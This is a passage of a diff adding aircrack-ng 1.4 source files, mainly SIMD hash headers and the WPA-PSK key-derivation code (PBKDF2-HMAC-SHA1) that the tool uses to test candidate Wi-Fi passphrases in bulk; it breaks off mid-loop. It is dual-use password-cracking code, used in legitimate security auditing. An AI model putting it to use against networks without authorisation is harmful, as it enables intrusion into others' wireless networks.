+				b[i] = vadd_epi64(b[i], vset1_epi64(0x629a292a367cd507ULL));
+				c[i] = vadd_epi64(c[i], vset1_epi64(0x9159015a3070dd17ULL));
+				d[i] = vadd_epi64(d[i], vset1_epi64(0x152fecd8f70e5939ULL));
+				e[i] = vadd_epi64(e[i], vset1_epi64(0x67332667ffc00b31ULL));
+				f[i] = vadd_epi64(f[i], vset1_epi64(0x8eb44a8768581511ULL));
+				g[i] = vadd_epi64(g[i], vset1_epi64(0xdb0c2e0d64f98fa7ULL));
+				h[i] = vadd_epi64(h[i], vset1_epi64(0x47b5481dbefa4fa4ULL));
+			}
+		}
+		else
+		{
+			SHA512_PARA_DO(i)
+			{
+				/* SHA-512 IV */
+				a[i] = vadd_epi64(a[i], vset1_epi64(0x6a09e667f3bcc908ULL));
+				b[i] = vadd_epi64(b[i], vset1_epi64(0xbb67ae8584caa73bULL));
+				c[i] = vadd_epi64(c[i], vset1_epi64(0x3c6ef372fe94f82bULL));
+				d[i] = vadd_epi64(d[i], vset1_epi64(0xa54ff53a5f1d36f1ULL));
+				e[i] = vadd_epi64(e[i], vset1_epi64(0x510e527fade682d1ULL));
+				f[i] = vadd_epi64(f[i], vset1_epi64(0x9b05688c2b3e6c1fULL));
+				g[i] = vadd_epi64(g[i], vset1_epi64(0x1f83d9abfb41bd6bULL));
+				h[i] = vadd_epi64(h[i], vset1_epi64(0x5be0cd19137e2179ULL));
+			}
+		}
+	}
+
+	if (SSEi_flags & SSEi_FLAT_OUT)
+	{
+		SHA512_PARA_DO(i)
+		{
+			uint64_t * o = (uint64_t *) &out[i * 8 * VS64];
+#if __AVX512F__ || __MIC__
+			vtype idxs = vset_epi64(
+				7 << 3, 6 << 3, 5 << 3, 4 << 3, 3 << 3, 2 << 3, 1 << 3, 0 << 3);
+
+			vscatter_epi64(o + 0, idxs, vswap64(a[i]), 8);
+			vscatter_epi64(o + 1, idxs, vswap64(b[i]), 8);
+			vscatter_epi64(o + 2, idxs, vswap64(c[i]), 8);
+			vscatter_epi64(o + 3, idxs, vswap64(d[i]), 8);
+			vscatter_epi64(o + 4, idxs, vswap64(e[i]), 8);
+			vscatter_epi64(o + 5, idxs, vswap64(f[i]), 8);
+			vscatter_epi64(o + 6, idxs, vswap64(g[i]), 8);
+			vscatter_epi64(o + 7, idxs, vswap64(h[i]), 8);
+#else
+			uint64_t j, k;
+			union {
+				vtype v[8];
+				uint64_t s[8 * VS64];
+			} tmp;
+
+			tmp.v[0] = vswap64(a[i]);
+			tmp.v[1] = vswap64(b[i]);
+			tmp.v[2] = vswap64(c[i]);
+			tmp.v[3] = vswap64(d[i]);
+			tmp.v[4] = vswap64(e[i]);
+			tmp.v[5] = vswap64(f[i]);
+			tmp.v[6] = vswap64(g[i]);
+			tmp.v[7] = vswap64(h[i]);
+
+			for (j = 0; j < VS64; j++)
+				for (k = 0; k < 8; k++) o[j * 8 + k] = tmp.s[k * VS64 + j];
+#endif
+		}
+	}
+	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
+	{
+		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
+			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
+		{
+			SHA512_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 32 * VS64 + 0 * VS64], a[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 1 * VS64], b[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 2 * VS64], c[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 3 * VS64], d[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 4 * VS64], e[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 5 * VS64], f[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 6 * VS64], g[i]);
+				vstore((vtype *) &out[i * 32 * VS64 + 7 * VS64], h[i]);
+			}
+		}
+		else
+		{
+			SHA512_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 16 * VS64 + 0 * VS64], a[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 1 * VS64], b[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 2 * VS64], c[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 3 * VS64], d[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 4 * VS64], e[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 5 * VS64], f[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 6 * VS64], g[i]);
+				vstore((vtype *) &out[i * 16 * VS64 + 7 * VS64], h[i]);
+			}
+		}
+	}
+	else
+	{
+		SHA512_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS64 + 0 * VS64]), a[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 1 * VS64]), b[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 2 * VS64]), c[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 3 * VS64]), d[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 4 * VS64]), e[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 5 * VS64]), f[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 6 * VS64]), g[i]);
+			vstore((vtype *) &(out[i * 8 * VS64 + 7 * VS64]), h[i]);
+		}
+	}
+}
+
+#endif /* SIMD_PARA_SHA512 */

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/simd-intrinsics.h Added

@@ -0,0 +1,200 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This software is Copyright (c) 2010 bartavelle, <bartavelle at bandecon.com>,
+ * and it is hereby released to the general public under the following terms:
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * Some modifications, Jim Fougeron, 2013.  Licensing rights listed in
+ * accompanying simd-intrinsics.c file.
+ */
+
+#if !defined(__JTR_SSE_INTRINSICS_H__)
+#define __JTR_SSE_INTRINSICS_H__
+
+#if (SIMD_COEF_32 && SIMD_COEF_32 == 2) || !SIMD_COEF_32
+#undef SIMD_TYPE
+#define SIMD_TYPE ""
+#undef SIMD_COEF_32
+#endif
+
+#include "jcommon.h"
+#include "pseudo_intrinsics.h"
+#include "simd-intrinsics-load-flags.h"
+#include "aligned.h"
+
+#ifndef _EMMINTRIN_H_INCLUDED
+#define __m128i void
+#endif
+#define vtype void
+
+#define STRINGIZE2(s) #s
+#define STRINGIZE(s) STRINGIZE2(s)
+
+#if __ALTIVEC__
+#undef SIMD_TYPE
+#define SIMD_TYPE "AltiVec"
+#elif __ARM_NEON__
+#undef SIMD_TYPE
+#define SIMD_TYPE "NEON"
+#elif __MIC__
+#undef SIMD_TYPE
+#define SIMD_TYPE "MIC"
+#elif __AVX512F__
+#undef SIMD_TYPE
+#define SIMD_TYPE "AVX512F"
+#elif __AVX2__
+#undef SIMD_TYPE
+#define SIMD_TYPE "AVX2"
+#elif __XOP__
+#undef SIMD_TYPE
+#define SIMD_TYPE "XOP"
+#elif __AVX__
+#undef SIMD_TYPE
+#define SIMD_TYPE "AVX"
+#elif __SSE4_1__
+#undef SIMD_TYPE
+#define SIMD_TYPE "SSE4.1"
+#elif __SSSE3__
+#undef SIMD_TYPE
+#define SIMD_TYPE "SSSE3"
+#elif __SSE2__
+#undef SIMD_TYPE
+#define SIMD_TYPE "SSE2"
+#elif SIMD_COEF_32
+#undef SIMD_TYPE
+#define SIMD_TYPE "MMX" // not really supported
+#endif
+
+#if SIMD_COEF_32 == 16
+#define BITS "512/512"
+#elif SIMD_COEF_32 == 8
+#define BITS "256/256"
+#elif SIMD_COEF_32 == 4
+#define BITS "128/128"
+#elif SIMD_COEF_32 == 2
+#define BITS "64/64"
+#endif
+
+#ifdef SIMD_PARA_MD5
+void md5cryptsse(unsigned char * buf,
+				 unsigned char * salt,
+				 char * out,
+				 unsigned int md5_type);
+void SIMDmd5body(vtype * data,
+				 ARCH_WORD_32 * out,
+				 ARCH_WORD_32 * reload_state,
+				 unsigned SSEi_flags);
+void md5_reverse(uint32_t * hash);
+void md5_unreverse(uint32_t * hash);
+#define MD5_ALGORITHM_NAME BITS " " SIMD_TYPE " " MD5_N_STR
+#else
+#define MD5_ALGORITHM_NAME "32/" ARCH_BITS_STR
+#endif
+
+#ifdef SIMD_PARA_MD4
+// void SIMDmd4body(__m128i* data, unsigned int *out, int init);
+void SIMDmd4body(vtype * data,
+				 ARCH_WORD_32 * out,
+				 ARCH_WORD_32 * reload_state,
+				 unsigned SSEi_flags);
+void md4_reverse(uint32_t * hash);
+void md4_unreverse(uint32_t * hash);
+#define MD4_ALGORITHM_NAME BITS " " SIMD_TYPE " " MD4_N_STR
+#else
+#define MD4_ALGORITHM_NAME "32/" ARCH_BITS_STR
+#endif
+
+#ifdef SIMD_PARA_SHA1
+void SIMDSHA1body(vtype * data,
+				  ARCH_WORD_32 * out,
+				  ARCH_WORD_32 * reload_state,
+				  unsigned SSEi_flags);
+void sha1_reverse(uint32_t * hash);
+void sha1_unreverse(uint32_t * hash);
+#define SHA1_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA1_N_STR
+#else
+#define SHA1_ALGORITHM_NAME "32/" ARCH_BITS_STR
+#endif
+
+// we use the 'outter' SIMD_COEF_32 wrapper, as the flag for SHA256/SHA512.
+// FIX_ME!!
+#if SIMD_COEF_32 > 1
+
+#ifdef SIMD_COEF_32
+#define SHA256_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA256_N_STR
+void SIMDSHA256body(vtype * data,
+					ARCH_WORD_32 * out,
+					ARCH_WORD_32 * reload_state,
+					unsigned SSEi_flags);
+void sha224_reverse(uint32_t * hash);
+void sha224_unreverse(uint32_t * hash);
+void sha256_reverse(uint32_t * hash);
+void sha256_unreverse(void);
+#endif
+
+#ifdef SIMD_COEF_64
+#define SHA512_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA512_N_STR
+void SIMDSHA512body(vtype * data,
+					ARCH_WORD_64 * out,
+					ARCH_WORD_64 * reload_state,
+					unsigned SSEi_flags);
+void sha384_reverse(ARCH_WORD_64 * hash);
+void sha384_unreverse(ARCH_WORD_64 * hash);
+void sha512_reverse(ARCH_WORD_64 * hash);
+void sha512_unreverse(void);
+#endif
+
+#else
+#if ARCH_BITS >= 64
+#define SHA256_ALGORITHM_NAME "64/" ARCH_BITS_STR " " SHA2_LIB
+#define SHA512_ALGORITHM_NAME "64/" ARCH_BITS_STR " " SHA2_LIB
+#else
+#define SHA256_ALGORITHM_NAME "32/" ARCH_BITS_STR " " SHA2_LIB
+#define SHA512_ALGORITHM_NAME "32/" ARCH_BITS_STR " " SHA2_LIB
+#endif
+
+#endif
+
+#undef vtype /* void */
+
+#endif // __JTR_SSE_INTRINSICS_H__

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/wpapsk.c Added

@@ -0,0 +1,519 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This software is Copyright (c) 2012 Lukas Odzioba <ukasz at openwall dot net>
+ * and it is hereby released to the general public under the following terms:
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * Code is based on Aircrack-ng source
+ *
+ * SSE2 code enhancement, Jim Fougeron, Jan, 2013.
+ *   Also removed oSSL code: HMAC(EVP_sha1(), ....), and coded what it does
+ * (which is simple), inline.
+ */
+#ifndef USE_GCRYPT
+#include <openssl/sha.h>
+#else
+#include "sha1-git.h"
+#endif
+#include <string.h>
+#include <stdint.h>
+#include "simd-intrinsics.h"
+#include "aircrack-ng.h"
+#include "arch.h"
+#include "wpapsk.h"
+#include "johnswap.h"
+#include "memory.h"
+#include "aircrack-util/simd_cpuid.h"
+
+// #define XDEBUG
+
+#if defined(__INTEL_COMPILER)
+#define SIMD_PARA_SHA1 1
+#elif defined(__clang__)
+#define SIMD_PARA_SHA1 1
+#elif defined(__llvm__)
+#define SIMD_PARA_SHA1 1
+#elif defined(__GNUC__) && GCC_VERSION < 40504 // 4.5.4
+#define SIMD_PARA_SHA1 1
+#elif !defined(__AVX__) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
+#define SIMD_PARA_SHA1 1
+#else
+#define SIMD_PARA_SHA1 1
+#endif
+
+#ifdef SIMD_CORE
+#ifdef SIMD_COEF_32
+#define NBKEYS (SIMD_COEF_32 * SIMD_PARA_SHA1)
+#ifdef _OPENMP
+#include <omp.h>
+#endif
+#else
+#define NBKEYS 1
+#ifdef _OPENMP
+#include <omp.h>
+#endif
+#endif
+#else
+#ifdef MMX_COEF
+#define NBKEYS (MMX_COEF * SHA1_SSE_PARA)
+#ifdef _OPENMP
+#include <omp.h>
+#endif
+#else
+#define NBKEYS 1
+#ifdef _OPENMP
+#include <omp.h>
+#endif
+#endif
+#endif
+
+#include "memdbg.h"
+
+#ifndef SIMD_CORE
+#undef SIMDSHA1body
+#define SIMDSHA1body SSESHA1body
+#endif
+
+char itoa64[64]
+	= "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
+char atoi64[0x100];
+
+/* for endianity conversion */
+#ifdef SIMD_CORE
+#define GETPOS(i, index)                                                       \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
+	 + (3 - ((i) &3))                                                          \
+	 + (unsigned int) index / SIMD_COEF_32 * SHA_BUF_SIZ * SIMD_COEF_32 * 4)
+#else
+#define GETPOS(i, index)                                                       \
+	((index & (MMX_COEF - 1)) * 4 + ((i) & (0xffffffff - 3)) * MMX_COEF        \
+	 + (3 - ((i) &3))                                                          \
+	 + (index >> (MMX_COEF >> 1)) * SHA_BUF_SIZ * MMX_COEF * 4)
+#endif
+
+#ifdef SIMD_CORE
+static MAYBE_INLINE void wpapsk_sse(ac_crypto_engine_t * engine,
+									int threadid,
+									int count,
+									const wpapsk_password * in)
+{
+	int t; // thread count
+	int salt_length = engine->essid_length;
+	int slen = salt_length + 4;
+	int loops = (count + NBKEYS - 1) / NBKEYS;
+
+	unsigned char * sse_hash1 = NULL;
+	unsigned char * sse_crypt1 = NULL;
+	unsigned char * sse_crypt2 = NULL;
+	unsigned char essid[ESSID_LENGTH + 4];
+
+	sse_hash1 = engine->thread_data[threadid]->hash1;
+	sse_crypt1 = engine->thread_data[threadid]->crypt1;
+	sse_crypt2 = engine->thread_data[threadid]->crypt2;
+
+	memset(essid, 0, sizeof(essid));
+	strncpy((char *) essid,
+			(const char *) engine->essid,
+			(size_t) engine->essid_length);
+
+	for (t = 0; t < loops; t++)
+	{
+		unsigned int i, k, j;
+		union {
+			unsigned char c[64];
+			uint32_t i[16];
+		} buffer[NBKEYS];
+		union {
+			unsigned char c[40];
+			uint32_t i[10];
+		} outbuf[NBKEYS];
+		SHA_CTX ctx_ipad[NBKEYS];
+		SHA_CTX ctx_opad[NBKEYS];
+
+		SHA_CTX sha1_ctx;
+		unsigned int *i1, *i2, *o1;
+		unsigned char *t_sse_crypt1, *t_sse_crypt2, *t_sse_hash1;
+
+		// All pointers get their offset for this thread here. No further
+		// offsetting below.
+		t_sse_crypt1 = &sse_crypt1[t * NBKEYS * 20];
+		t_sse_crypt2 = &sse_crypt2[t * NBKEYS * 20];
+		t_sse_hash1 = &sse_hash1[t * NBKEYS * SHA_BUF_SIZ * 4];
+		i1 = (unsigned int *) t_sse_crypt1;
+		i2 = (unsigned int *) t_sse_crypt2;
+		o1 = (unsigned int *) t_sse_hash1;
+
+		for (j = 0; j < NBKEYS; ++j)
+		{
+			memcpy(
+				buffer[j].c, in[t * NBKEYS + j].v, in[t * NBKEYS + j].length);
+			memset(&buffer[j].c[in[t * NBKEYS + j].length],
+				   0,
+				   64 - in[t * NBKEYS + j].length);
+			SHA1_Init(&ctx_ipad[j]);
+			SHA1_Init(&ctx_opad[j]);
+
+			for (i = 0; i < 16; i++) buffer[j].i[i] ^= 0x36363636;
+			SHA1_Update(&ctx_ipad[j], buffer[j].c, 64);
+
+			for (i = 0; i < 16; i++) buffer[j].i[i] ^= 0x6a6a6a6a;
+			SHA1_Update(&ctx_opad[j], buffer[j].c, 64);
+
+// we memcopy from flat into MMX_COEF output buffer's (our 'temp' ctx buffer).
+// This data will NOT need to be BE swapped (it already IS BE swapped).
+#ifdef SIMD_CORE
+			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 0 * SIMD_COEF_32]
+				= ctx_ipad[j].h0;
+			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 1 * SIMD_COEF_32]
+				= ctx_ipad[j].h1;
+			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 2 * SIMD_COEF_32]
+				= ctx_ipad[j].h2;
+			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 3 * SIMD_COEF_32]
+				= ctx_ipad[j].h3;
+			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 4 * SIMD_COEF_32]
+				= ctx_ipad[j].h4;
+
+			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 0 * SIMD_COEF_32]
+				= ctx_opad[j].h0;
+			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 1 * SIMD_COEF_32]
+				= ctx_opad[j].h1;
+			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 2 * SIMD_COEF_32]
+				= ctx_opad[j].h2;
+			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 3 * SIMD_COEF_32]
+				= ctx_opad[j].h3;
+			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
+			   + 4 * SIMD_COEF_32]
+				= ctx_opad[j].h4;
+#else
+			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))]
+				= ctx_ipad[j].h0;
+			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1)) + MMX_COEF]
+				= ctx_ipad[j].h1;
+			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 1)]
+				= ctx_ipad[j].h2;
+			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + MMX_COEF * 3]
+				= ctx_ipad[j].h3;
+			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 2)]
+				= ctx_ipad[j].h4;
+
+			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))]
+				= ctx_opad[j].h0;
+			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1)) + MMX_COEF]
+				= ctx_opad[j].h1;
+			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 1)]
+				= ctx_opad[j].h2;
+			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + MMX_COEF * 3]
+				= ctx_opad[j].h3;
+			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 2)]
+				= ctx_opad[j].h4;
+#endif
+
+			essid[slen - 1] = 1;
+			// This code does the HMAC(EVP_....) call.  We already have essid
+			// appended with BE((int)1) so we simply call a single SHA1_Update
+			memcpy(&sha1_ctx, &ctx_ipad[j], sizeof(sha1_ctx));
+			SHA1_Update(&sha1_ctx, essid, slen);
+			SHA1_Final(outbuf[j].c, &sha1_ctx);
+			memcpy(&sha1_ctx, &ctx_opad[j], sizeof(sha1_ctx));
+			SHA1_Update(&sha1_ctx, outbuf[j].c, SHA_DIGEST_LENGTH);
+			SHA1_Final(outbuf[j].c, &sha1_ctx);
+
+// now convert this from flat into MMX_COEF buffers.   (same as the memcpy()
+// commented out in the last line)
+// Also, perform the 'first' ^= into the crypt buffer.  We are doing that in BE
+// format
+// so we will need to 'undo' that in the end.
+#ifdef SIMD_CORE
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 0 * SIMD_COEF_32]
+				= outbuf[j].i[0] = sha1_ctx.h0;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 1 * SIMD_COEF_32]
+				= outbuf[j].i[1] = sha1_ctx.h1;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 2 * SIMD_COEF_32]
+				= outbuf[j].i[2] = sha1_ctx.h2;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 3 * SIMD_COEF_32]
+				= outbuf[j].i[3] = sha1_ctx.h3;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 4 * SIMD_COEF_32]
+				= outbuf[j].i[4] = sha1_ctx.h4;
+#else
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))]
+				= outbuf[j].i[0] = sha1_ctx.h0;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + MMX_COEF]
+				= outbuf[j].i[1] = sha1_ctx.h1;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 1)]
+				= outbuf[j].i[2] = sha1_ctx.h2;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + MMX_COEF * 3]
+				= outbuf[j].i[3] = sha1_ctx.h3;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 2)]
+				= outbuf[j].i[4] = sha1_ctx.h4;
+#endif
+		}
+
+		for (i = 1; i < 4096; i++)
+		{
+			SIMDSHA1body((unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_crypt1,
+						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
+			SIMDSHA1body((unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_crypt2,
+						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
+
+			for (j = 0; j < NBKEYS; j++)
+			{
+#ifdef SIMD_CORE
+				unsigned * p
+					= &((unsigned int *)
+							t_sse_hash1)[(((j / SIMD_COEF_32) * SHA_BUF_SIZ)
+										  * SIMD_COEF_32)
+										 + (j & (SIMD_COEF_32 - 1))];
+				for (k = 0; k < 5; k++) outbuf[j].i[k] ^= p[(k * SIMD_COEF_32)];
+#else
+				unsigned * p = &((
+					unsigned int *) t_sse_hash1)[(((j >> 2) * SHA_BUF_SIZ) << 2)
+												 + (j & (MMX_COEF - 1))];
+				for (k = 0; k < 5; k++)
+					outbuf[j].i[k] ^= p[(k << (MMX_COEF >> 1))];
+#endif
+			}
+		}
+
+		essid[slen - 1] = 2;
+		for (j = 0; j < NBKEYS; ++j)
+		{
+			// This code does the HMAC(EVP_....) call. We already have essid
+			// appended with BE((int)1) so we simply call a single SHA1_Update
+			memcpy(&sha1_ctx, &ctx_ipad[j], sizeof(sha1_ctx));
+			SHA1_Update(&sha1_ctx, essid, slen);
+			SHA1_Final(&outbuf[j].c[20], &sha1_ctx);
+			memcpy(&sha1_ctx, &ctx_opad[j], sizeof(sha1_ctx));
+			SHA1_Update(&sha1_ctx, &outbuf[j].c[20], 20);
+			SHA1_Final(&outbuf[j].c[20], &sha1_ctx);
+
+// now convert this from flat into MMX_COEF buffers.  (same as the memcpy()
+// commented out in the last line)
+// Also, perform the 'first' ^= into the crypt buffer.  We are doing that in BE
+// format
+// so we will need to 'undo' that in the end. (only 3 dwords of the 2nd block
+// outbuf are worked with).
+#ifdef SIMD_CORE
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 0 * SIMD_COEF_32]
+				= outbuf[j].i[5] = sha1_ctx.h0;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 1 * SIMD_COEF_32]
+				= outbuf[j].i[6] = sha1_ctx.h1;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 2 * SIMD_COEF_32]
+				= outbuf[j].i[7] = sha1_ctx.h2;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 3 * SIMD_COEF_32]
+				= sha1_ctx.h3;
+			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
+			   + (j & (SIMD_COEF_32 - 1))
+			   + 4 * SIMD_COEF_32]
+				= sha1_ctx.h4;
+#else
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))]
+				= outbuf[j].i[5] = sha1_ctx.h0;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + MMX_COEF]
+				= outbuf[j].i[6] = sha1_ctx.h1;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 1)]
+				= outbuf[j].i[7] = sha1_ctx.h2;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + MMX_COEF * 3]
+				= sha1_ctx.h3;
+			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
+			   + (MMX_COEF << 2)]
+				= sha1_ctx.h4;
+#endif
+		}
+		for (i = 1; i < 4096; i++)
+		{
+			SIMDSHA1body((unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_hash1,
+						 (unsigned int *) t_sse_crypt1,
+						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
+			SIMDSHA1body((unsigned int *) t_sse_hash1,
